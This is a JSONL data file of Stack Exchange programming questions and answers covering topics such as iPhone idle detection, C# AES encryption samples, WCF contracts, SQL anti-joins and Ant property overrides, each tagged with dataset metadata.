{"id": "hf_4dcd08f4a6ad", "question": "<p>Has anybody implemented a feature where if the user has not touched the screen for a certain time period, you take a certain action? I'm trying to figure out the best way to do that.</p>\n\n<p>There's this somewhat-related method in UIApplication:</p>\n\n<pre><code>[UIApplication sharedApplication].idleTimerDisabled;\n</code></pre>\n\n<p>It'd be nice if you instead had something like this:</p>\n\n<pre><code>NSTimeInterval timeElapsed = [UIApplication sharedApplication].idleTimeElapsed;\n</code></pre>\n\n<p>Then I could set up a timer and periodically check this value, and take some action when it exceeds a threshold.</p>\n\n<p>Hopefully that explains what I'm looking for. Has anyone tackled this issue already, or have any thoughts on how you would do it? Thanks.</p>\n", "question_body": "", "answer": "Ultimately you need to define what you consider to be idle - is idle the result of the user not touching the screen or is it the state of the system if no computing resources are being used? It is possible, in many applications, for the user to be doing something even if not actively interacting with the device through the touch screen.  While the user is probably familiar with the concept of the device going to sleep and the notice that it will happen via screen dimming, it is not necessarily the case that they'll expect something to happen if they are idle - you need to be careful about what you would do.  But going back to the original statement - if you consider the 1st case to be your definition, there is no really easy way to do this. You'd need to receive each touch event, passing it along on the responder chain as needed while noting the time it was received. That will give you some basis for making the idle calculation.  If you consider the second case to be your definition, you can play with an NSPostWhenIdle notification to try and perform your logic at that time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.213467"}
{"id": "hf_8b6bd69bc2a8", "question": "<p>I want to develop a windows application. If I use native C++ and MFC for user interface then the application will be very fast and tiny. But using MFC is very complicated. Also If I use C# then the application will be slower than the native code and It reqiures .NET framework to run. But developing GUI is very easy by using WinForm. Which one do you prefer? </p>\n", "question_body": "", "answer": "\"fast\" and \"slow\" are subjective, especially with today's PC's. I'm not saying deliberately make the thing slow, but there isn't\nnearly\nas much overhead in writing a managed application as you might think. The JIT etc work very well to make the code execute very fast. And you can also NGEN for extra start-up speed if you really need.\nActually, if you have time to learn it, you might want to consider WPF rather than winform - this is a different skill-set, but allows you to make very good use of graphics hardware etc.\nAlso - .NET framework comes with new OS installs, and is still very common on those that pre-date it. So for me it would be a fairly clear choice to develop with C#/.NET. The time to develop a\nrobust and fully tested\nC++ app (with no leaks, etc) is (for me at least) much greater than the same with C#.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.238137"}
{"id": "hf_e26dac665f69", "question": "<p>I can't seem to find a nice clean example of using AES 128 bit encryption.</p>\n\n<p>Does anyone have some sample code?</p>\n", "question_body": "", "answer": "If you just want to use the built-in crypto provider RijndaelManaged, check out the following help article (it also has a simple code sample):\nhttp://msdn.microsoft.com/en-us/library/system.security.cryptography.rijndaelmanaged.aspx\nAnd just in case you need the sample in a hurry, here it is in all its plagiarized glory:\n```\n```\nusing System;\nusing System.IO;\nusing System.Security.Cryptography;\n\nnamespace RijndaelManaged_Example\n{\n    class RijndaelExample\n    {\n        public static void Main()\n        {\n            try\n            {\n\n                string original = \"Here is some data to encrypt!\";\n\n                // Create a new instance of the RijndaelManaged \n                // class.  This generates a new key and initialization  \n                // vector (IV). \n                using (RijndaelManaged myRijndael = new RijndaelManaged())\n                {\n\n                    myRijndael.GenerateKey();\n                    myRijndael.GenerateIV();\n                    // Encrypt the string to an array of bytes. \n                    byte[] encrypted = EncryptStringToBytes(original, myRijndael.Key, myRijndael.IV);\n\n                    // Decrypt the bytes to a string. \n                    string roundtrip = DecryptStringFromBytes(encrypted, myRijndael.Key, myRijndael.IV);\n\n                    //Display the original data and the decrypted data.\n                    Console.WriteLine(\"Original:   {0}\", original);\n                    Console.WriteLine(\"Round Trip: {0}\", roundtrip);\n                }\n\n            }\n            catch (Exception e)\n            {\n                Console.WriteLine(\"Error: {0}\", e.Message);\n            }\n        }\n        static byte[] EncryptStringToBytes(string plainText, byte[] Key, byte[] IV)\n        {\n            // Check arguments. \n            if (plainText == null || plainText.Length <= 0)\n                throw new ArgumentNullException(\"plainText\");\n            if (Key == null || Key.Length <= 0)\n                throw new ArgumentNullException(\"Key\");\n            if (IV == null || IV.Length <= 0)\n                throw new ArgumentNullException(\"IV\");\n            byte[] encrypted;\n            // Create an RijndaelManaged object \n            // with the specified key and IV. \n            using (RijndaelManaged rijAlg = new RijndaelManaged())\n            {\n                rijAlg.Key = Key;\n                rijAlg.IV = IV;\n\n                // Create a decryptor to perform the stream transform.\n                ICryptoTransform encryptor = rijAlg.CreateEncryptor(rijAlg.Key, rijAlg.IV);\n\n                // Create the streams used for encryption. \n                using (MemoryStream msEncrypt = new MemoryStream())\n                {\n                    using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))\n                    {\n                        using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))\n                        {\n\n                            //Write all data to the stream.\n                            swEncrypt.Write(plainText);\n                        }\n                        encrypted = msEncrypt.ToArray();\n                    }\n                }\n            }\n\n            // Return the encrypted bytes from the memory stream. \n            return encrypted;\n\n        }\n\n        static string DecryptStringFromBytes(byte[] cipherText, byte[] Key, byte[] IV)\n        {\n            // Check arguments. \n            if (cipherText == null || cipherText.Length <= 0)\n                throw new ArgumentNullException(\"cipherText\");\n            if (Key == null || Key.Length <= 0)\n                throw new ArgumentNullException(\"Key\");\n            if (IV == null || IV.Length <= 0)\n                throw new ArgumentNullException(\"IV\");\n\n            // Declare the string used to hold \n            // the decrypted text. \n            string plaintext = null;\n\n            // Create an RijndaelManaged object \n            // with the specified key and IV. \n            using (RijndaelManaged rijAlg = new RijndaelManaged())\n            {\n                rijAlg.Key = Key;\n                rijAlg.IV = IV;\n\n                // Create a decrytor to perform the stream transform.\n                ICryptoTransform decryptor = rijAlg.CreateDecryptor(rijAlg.Key, rijAlg.IV);\n\n                // Create the streams used for decryption. \n                using (MemoryStream msDecrypt = new MemoryStream(cipherText))\n                {\n                    using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))\n                    {\n                        using (StreamReader srDecrypt = new StreamReader(csDecrypt))\n                        {\n\n                            // Read the decrypted bytes from the decrypting stream \n                            // and place them in a string.\n                            plaintext = srDecrypt.ReadToEnd();\n                        }\n                    }\n                }\n\n            }\n\n            return plaintext;\n\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.263511"}
{"id": "hf_789e24f49f2e", "question": "<p>When designing a wiki application, what things should I take into consideration?</p>\n\n<p>So far I have:</p>\n\n<ol>\n<li>revisions</li>\n<li>parsing some sort of markup text</li>\n<li>keeping track of links in wikis, and pages that link to other pages.</li>\n<li>related wikis i.e. wikis are related to others.</li>\n</ol>\n\n<p>What else goes into building a Wiki?</p>\n", "question_body": "", "answer": "User interface -- one of the most frustrating things for users is that they have to learn one user interface for MediaWiki, one for TikiWiki, and one for any of the other myriad of wiki's out there.\nThe most important part of wikis is not the technical feasibility -- it's getting users to contribute and edit in a convenient and effective way. You can have the most technically robust wiki in the world, but if it's not easy to use, it will be useless as the community tool that a wiki is supposed to be.\nEither copy an existing and familiar wiki syntax (such as MediaWiki), or be prepared to invest heavily in creating a WYSIWYG editor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.289028"}
{"id": "hf_65ce7a1123d4", "question": "<p>Seems likes it might be useful to have the assert display a message when an assertion fails.</p>\n\n<p>Currently an <code>AssertionError</code> gets thrown, can you specify a custom message for it?</p>\n\n<p>Can you show an example mechanism for doing this (other than creating your own exception type and throwing it)?</p>\n", "question_body": "", "answer": "You certainly can:\n```\n```\nassert x > 0 : \"x must be greater than zero, but x = \" + x;\n```\n```\nSee\nProgramming with Assertions\nfor more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.348989"}
{"id": "hf_b2b3fa47ec11", "question": "<p>Is there a way to install all versions of all browsers on one machine?</p>\n", "question_body": "", "answer": "Yes. I have IE8 Beta2, FF3, Chrome Beta, and Safari 3.1.2 with the applicable developer plugins.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.396659"}
{"id": "hf_714eb6ae507f", "question": "<p>If a company often requires users to be created in a partner's active directory, and vice versa, does it make sense to set up a federated / trusted relationship between the AD instances? If so, what should be considered? Does the ACL for users in the partner AD still work the same way? What security risks does this expose?</p>\n\n<p>Thanks!</p>\n\n<p>KA</p>\n\n<p><strong>Update:</strong> </p>\n\n<p>I've learned that there's a better way to do this by having the application itself check user stores. The best way to do this is by moving the application into a domain trusted by both user stores. I've provided more detail in my answer below.</p>\n", "question_body": "", "answer": "I've been researching this a bit more, and I've found a good solution. Since both companies both need to use the same system, the system itself just needs to verify if a user exists in either of the user stores(authentication), and then to the authorization at the system level.\nThe idea behind giving both companies access is solid - If we are working together and didn't have a way to do this, we'd need to re-create all the users from the company without access in the connected user store. Obviously, this would be a total mess and a maintenance nightmare.\nI found out that in my case, even though both ADs are on the same WAN, it's necessary to have a formal federation or trust. Thankfully, we already have a domain that's trusted between both companies, so I just have to move the applications used by the partners into this domain. After that, it's simply a matter of fully-qualifying the DNS suffix to indicate the AD being used. Application-specific ACLs then reference the desired user store.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.425136"}
{"id": "hf_0f5f318b01c4", "question": "<p>What is copyright licence type to select in order to make the code free for the public in all possible ways.</p>\n\n<p>Is \"The MIT License\" the best option?</p>\n", "question_body": "", "answer": "Releasing your code as\npublic domain\nis the best way to make it free for\nall\npossible ways.\nSQLite\nis a well-known public domain library (they have\na page\nthat explains their license).\nHaving said that, code that is in the public domain can be simply taken by anybody else and they can call it their own. This is why there exist free licenses like GPL/BSD/MIT/etc where you retain some semblance of ownership over the work.\nPersonally, I prefer licenses like BSD or MIT because they aren't as restrictive as the GPL. The GPL has a lot to say about what the user of the code can and can't do with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.449765"}
{"id": "hf_2f8f6159df8a", "question": "<p>How do I make an activeX control in a C# library project and then reference it in another ASP.NET wet site project?</p>\n", "question_body": "", "answer": "If you're using C#/.NET to build your control and consuming it from ASP.NET you would get better performance (and cause yourself much less pain) by referencing it as a standard .NET assembly, bypassing ActiveX altogether.  Hope this helps!\nAdam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.473533"}
{"id": "hf_24d6b189dd28", "question": "<p>Python 3.0 breaks backwards compatibility with previous versions and splits the language into two paths (at least temporarily). Do you know of any other language that went through such a major design phase while in maturity?</p>\n\n<p>Also, do you believe that this is how programming languages should evolve or is the price to pay simply too high?</p>\n", "question_body": "", "answer": "C# and the .NET framework broke compatibility between versions 1.0 and 1.1 as well as between 1.1 and 2.0.  Running applications in different versions required having multiple versions of the .NET runtime installed.\nAt least they did include an upgrade wizard to upgrade source from one version to the next (it worked for most of our code).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.509279"}
{"id": "hf_ace6a548786a", "question": "<p>Does anybody have a suggestion for a java library that performs automatic cropping and deskewing of images (like those retrieved from a flatbed scanner)?</p>\n", "question_body": "", "answer": "ImageMagick\ncan do that; you can use the\nImageMagick Java bindings\n.  The\nauto-crop\noperator is probably what you're looking for.  Automatic deskewing is a much harder problem and involves some significant image processing; I'm not sure if ImageMagick can handle that.  If you can figure out the skewing parameters using something else, ImageMagick can definitely unskew it for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.532905"}
{"id": "hf_09bee9b9de1b", "question": "<p>Hey all, I need some advice on this...</p>\n\n<p>We have certain permissions setup in the database for certain levels of control a user can have over the application. Disabled, ReadOnly and Edit. </p>\n\n<p>My question is: Are there more generic/better ways to handle permissions applied to a form element on the page than writing a security method/check per page to enable/disable/hide/show proper controls depending on the permissions allowed?</p>\n\n<p>Anyone have any experience handling this in different ways?</p>\n\n<p>Edit:</p>\n\n<p>I just thought about the possibility of adding constants for each layer that needs security and then adding an IsAuthorized function in the user class that would accept a constant from the form that the control is on, and return boolean to enable/disable controls, this would really reduce the amount of places I'd have to hit when/if I ever need to modify the security for all forms.</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "I think there are more possibilities than you are considering.\nHidden/Visible - is the field visible or not\nBlanked/System/Unchanged - does the system initially set the value to blank, or to some business-rule-provided value, or is it left as-is\nReadOnly/Editable - can the user change the value\nRequired/LeaveBlank/Optional - is the field required to not be blank, or can it be left blank assuming it was blank to begin with, or is it optional and can be blank in any case\nAlso you need to consider a lot of factors that go into making the decision\nRole - usually the user has 1 or more roles, and those roles can allow or disallow different possibilities\nStatus - the status of the object in question often controls which fields are editable, regardless of role\nObject - often the values of the object itself determine what is allowed when, beyond just's it's status\nTask - you might break down editing things into more than just read and edit\nSection - I often want to control the settings for an entire section of the object or screen, and all the controls inherit those settings, but can override them on an individual basis if needed\nImplementation?\nFirst, make sure you have a clear vision of how the page lifecycle is handled. Mine usually goes something like this.\nGet the object they are editing, usually from session state, sometimes if they are doing a \"new\" operation you may need to create a stub data structure for them to work on\nIf this is the first time the page is loading up, populate choices into dropdowns, this is usually a generic process, done only once\nIf this is a postback, update the object being edited by reading in values off the controls\nProcess events such as button clicks\nRun through all your business edits, these should alter the data structure they are editing\nUpdate the visibility and editability of the controls based on all the data you have on hand\nPopulate the controls with the data from the object being edited, including validation messages, or error messages", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.561043"}
{"id": "hf_9def8748d66a", "question": "<p>What are some helpful things that ASP.NET MVC developers could suggest that would help us ASP.NET WebForms developers to write better code/web apps?</p>\n\n<p>I'm a WebForms guy but with all the new hype around MVC I'd value some comments on helpful tips, tricks and strategies that might be able to be used in a webforms app.</p>\n", "question_body": "", "answer": "I'm also coming from webforms, but have been learning asp.net MVC since around preview 3.\nI'm not exactly sure how to bring anything from MVC into webforms, they are two entirely different frameworks.  I'm probably too new with it to understand how any of it could be applied to webforms, but right now it seems they have very little in common.\nSome of the strengths of MVC are it's rigid structure on how you need to do things and where you put code.  It also does away with the form runat=server and I believe does not promote the usage of any of the asp.net server controls (you need to write all the HTML yourself).  That is pretty much the definition of webforms right there.  MVC pretty much replaces webforms with it's own framework.\nIf you ever did Classic ASP or PHP, I would call ASP.net MVC a more structured framework for what people might do with those older scripting languages.  It's kind of like the FuseBox framework, but even more structured and evolved.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.597830"}
{"id": "hf_eaadd8cfdc02", "question": "<p>The company I work for is thinking of developing a LAMP SaaS Web application that would be plan based. We want to monitor usage because it involves external references, and would draw bandwidth through the placement of an iframe or JavaScript snippet on a third-party site. My first thought was relying only on a page impression algorithm, but since this is really a bandwidth issue, I wonder if monitoring that is a better approach. What is the best way to do this monitoring in a fashion that would allow me to message the third-party site that the cap has been exceeded?</p>\n", "question_body": "", "answer": "I think a web service gateway would be a good option. Most of them (IBM, Layer 7, Vordel) offer throttling and contract management features. They'll allow you to set thresholds on access to whatever is behind them.\nIf you're using authorization and authentication for users and service, you can easily configure them to send a notification if the usage gets too high (from abuse, exceeding the SLA for requests, or whatever else you configure.\nBest of all, they'll work with whatever is consuming your application / data, be it users, batch processes, or services.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.622408"}
{"id": "hf_756b77b3b0d6", "question": "<p>I am designing a WCF service which a client will call to get a list of GUID's from a server.</p>\n\n<p>How should I define my endpoint contract?</p>\n\n<p>Should I just return an Array?  </p>\n\n<p>If so, will the array just be serialized by WCF?</p>\n", "question_body": "", "answer": "The Guids, if you're going for SOA oriented services, will need to be set as strings. The client will be responsible for turning them back into whatever. As for the listing of the Guids, they'd be returned as an array. If you have a contract with a regular Generics List Object of Guids like this\n```\n```\n[DataMember] List<Guid> SomeGuidsGoInHere {get;set;}\n```\n```\nthen you'll get an array of Guids back.  Which could cause compatability issues.  What you'll want to do is setup a List of strings like this.\n```\n```\n[DataMember] List<String> SomeGuidsAsStringsGoInHere {get;set;}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.681917"}
{"id": "hf_b37d8a670574", "question": "<p>Does anyone know the official method for submitting feedback on C# 4.0 so that Anders and his team will get the feedback and be able to respond to the submission?</p>\n", "question_body": "", "answer": "Probably the forums\nhere\n, or (for bugs)\nconnect\n(they've added options for .NET 4.0 CTP and VS2010 CTP)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.705485"}
{"id": "hf_f72b7759ecb8", "question": "<p>It's a really basic question but i can't think at the second. How do i set up a loop that asks each time the function inside runs whether to do it again. So it runs it then says something like;</p>\n\n<p>\"loop again? y/n\"</p>\n", "question_body": "", "answer": "```\n```\nwhile True:\n    func()\n    answer = raw_input( \"Loop again? \" )\n    if answer != 'y':\n        break\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.728805"}
{"id": "hf_09bffbb31611", "question": "<p>I have a list of numbers, say {2,4,5,6,7}\nI have a table, foos, with foos.ID, including say, {1,2,3,4,8,9}</p>\n\n<p>Id like to take my list of numbers, and find those without a counterpart in the ID field of my table.</p>\n\n<p>One way to achieve this would be to create a table bars, loaded with {2,4,5,6,7} in the ID field.\nThen, I would do </p>\n\n<pre>\nSELECT bars.* FROM bars LEFT JOIN foos ON bars.ID = foos.ID WHERE foos.ID IS NULL\n</pre>\n\n<p>However, I'd like to accomplish this sans temp table. </p>\n\n<p>Anyone have any input on how it might happen?</p>\n", "question_body": "", "answer": "I can't find a solution to your precise problem that doesn't use a temporary table, but an alternate way of doing your query using a sub-select instead of a join is:\n```\n```\nSELECT bars.* FROM bars WHERE bars.ID NOT IN (SELECT ID FROM foos)\n```\n```\nLike the other posters I originally wrote:\n```\n```\nSELECT * FROM foos WHERE foos.ID NOT IN (2, 4, 5, 6, 7)\n```\n```\nbut then I realised that this is producing the opposite to what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.752215"}
{"id": "hf_7baeb85379ea", "question": "<p>How do you create a 1 bit per pixel mask from an image using GDI in C#?  The image I am trying to create the mask from is held in a System.Drawing.Graphics object.</p>\n\n<p>I have seen examples that use Get/SetPixel in a loop, which are too slow. The method that interests me is one that uses only BitBlits, like <a href=\"http://www.vbaccelerator.com/home/VB/Tips/Mask_Images/article.asp\" rel=\"nofollow noreferrer\">this</a>. I just can't get it to work in C#, any help is much appreciated.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nusing System.Drawing;\nusing System.Drawing.Imaging;\nusing System.Runtime.InteropServices;\n```\n```\n...\n```\n```\npublic static Bitmap BitmapTo1Bpp(Bitmap img) {\n      int w = img.Width;\n      int h = img.Height;\n      Bitmap bmp = new Bitmap(w, h, PixelFormat.Format1bppIndexed);\n      BitmapData data = bmp.LockBits(new Rectangle(0, 0, w, h), ImageLockMode.ReadWrite, PixelFormat.Format1bppIndexed);\n      for (int y = 0; y < h; y++) {\n        byte[] scan = new byte[(w + 7) / 8];\n        for (int x = 0; x < w; x++) {\n          Color c = img.GetPixel(x, y);\n          if (c.GetBrightness() >= 0.5) scan[x / 8] |= (byte)(0x80 >> (x % 8));\n        }\n        Marshal.Copy(scan, 0, (IntPtr)((int)data.Scan0 + data.Stride * y), scan.Length);\n      }\n      bmp.UnlockBits(data);\n      return bmp;\n    }\n```\n```\nGetPixel() is slow, you can speed it up with an unsafe byte*.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.781913"}
{"id": "hf_5eac42ed2294", "question": "<p>Actually my question is all in the title.<br>\nAnyway:<br>\nI have a class and I use explicit constructor:\n<br>.h<br></p>\n\n<pre><code>class MyClass\n{\n  public:\n    explicit MyClass(const string&amp; s): query(s) {}\n  private:\n   string query;\n}\n</code></pre>\n\n<p>Is it obligatory or not to put <b>explicit</b> keyword in implementation(.cpp) file?</p>\n", "question_body": "", "answer": "No, it is not. The\n```\nexplicit\n```\nkeyword is only permitted in the header. My gcc says:\n```\n```\ntest.cpp:6: error: only declarations of constructors can be 'explicit'\n```\n```\nfor the following code:\n```\n```\nclass foo {\npublic:\n    explicit foo(int);\n};\n\nexplicit foo::foo(int) {}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.809896"}
{"id": "hf_da6298051eb2", "question": "<p>I am designing a error logging feature so our servers (each donig different things) can have a central data store for logging errors.</p>\n\n<p>Would it be a good idea to have the various applications writing to the error log file using a WCF service, or is that a bad idea?</p>\n\n<p>they <em>can</em> do it just by ADO.NET to the database, which I think is the simpler route.</p>\n", "question_body": "", "answer": "I'd say just log to your local data store.  The advantages are :\nSpeed - it's pretty rapid to just\ndump your chosen error report to an\nexisting data connection.\nTracability - What happens if you\nhave an error in your service?  You\nlose all ability to chase down\nerrors on all servers.\nSimplicity - If you change the\nendpoint for your errors service,\nyou have to update every other\napplication that uses the error\nservice.\nReporting - Do you really want to\ntrawl through error reports from\ntens / hundreds of applications in\none place when you could easily find\nthem in the data store local to the\napp?\nOf course, any of these points could be viewed from the other side, these are just my opinions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.857649"}
{"id": "hf_9a5bdf26c728", "question": "<p>With multiple developers working on the same Tomcat application, I'd like to tell the application to install to a different path, based on the current user and revision control client/view.</p>\n\n<p>So, if Bob is building, the app should be installed in Bob's test environment, maybe /bob1 or something like that.  Bob might have several revision control clients/views/workspaces he works with so he could have /bob1, /bob2, /bob3, etc.</p>\n\n<p>The install location is specified in the build.properties file.  Is there a way to avoid checking that file out and changing it for each specific user and revision control view?</p>\n\n<p>Can \"ant install\" take arguments or be configured to consider environment variables for the install target?</p>\n", "question_body": "", "answer": "You can override ant properties from the command line.\n```\n```\nant -Dinstall.location=/bob1 install\n```\n```\nSee\nRunning Ant\nfor more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.882040"}
{"id": "hf_ac2f2a212939", "question": "<p>In an attempt to hide the Safari UI components for an web-app bookmarked as a Homescreen Icon. I am using this meta tag </p>\n\n<pre><code>&lt;meta name=\"apple-mobile-web-app-capable\" content=\"yes\" /&gt;\n</code></pre>\n\n<p>as specified on <a href=\"https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW2\" rel=\"nofollow noreferrer\">iPhone Dev Center</a> but the address bar and toolbar are still there when launched from the home screen icon.  What do I need to do different? Does anyone have an example?</p>\n", "question_body": "", "answer": "Is it being launched from the home screen? The documentation on the linked page does not mention but I found this @\nConfiguring Web Applications\n:\nFor example, you can specify an icon for your web application used to represent it when added to the Home screen, as described in “Specifying a Webpage Icon for Web Clip.”\nYou can also minimize the Safari on iPhone user interface\n, as described in “Changing the Status Bar Appearance” and “Hiding Safari User Interface Components,”\nwhen your web application is launched from the Home screen\n. These are all optional settings that when added to your web content are ignored by other platforms", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.943010"}
{"id": "hf_be04e2833063", "question": "<p>In the C / Unix environment I work in, I see some developers using <code>__progname</code> instead of <code>argv[0]</code> for usage messages. Is there some advantage to this? What's the difference between <code>__progname</code> and <code>argv[0]</code>.  Is it portable?</p>\n", "question_body": "", "answer": "```\n__progname\n```\nisn't standard and therefore not portable, prefer\n```\nargv[0]\n```\n. I suppose\n```\n__progname\n```\ncould lookup a string resource to get the name which isn't dependent on the filename you ran it as. But\n```\nargv[0]\n```\nwill give you the name they\nactually\nran it as which I would find more useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:39.991664"}
{"id": "hf_2ff9d492bf0d", "question": "<p>I wonder if there is an example which html files and java files are resides in different folders. </p>\n", "question_body": "", "answer": "I don't recommend using a separate page directory unless you are quite comfortable with how resource streams work, which I am not.\nThe vast majority of wicket projects I have seen keep class and html files in the source directory.  I tried separating them myself but then found that getting my hands on other resources, like images and such, was a hassle; so, I wound up putting those resources in the package directory - in the end I had resources in several different places and it was more of a mess than putting everything in package directory would have been.\nThat said, here's the code I used to put my html templates in a separate folder.  It should be added to Init() in your application class.\n```\n```\nIResourceSettings resourceSettings = getResourceSettings();\nresourceSettings.addResourceFolder(\"pages\"); //the full path to your folder, relative to the context root\nresourceSettings.setResourceStreamLocator((IResourceStreamLocator) new PathStripperLocator());\n```\n```\nhttps://cwiki.apache.org/confluence/display/WICKET/Control+where+HTML+files+are+loaded+from\nhas a tutorial on this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:40.051300"}
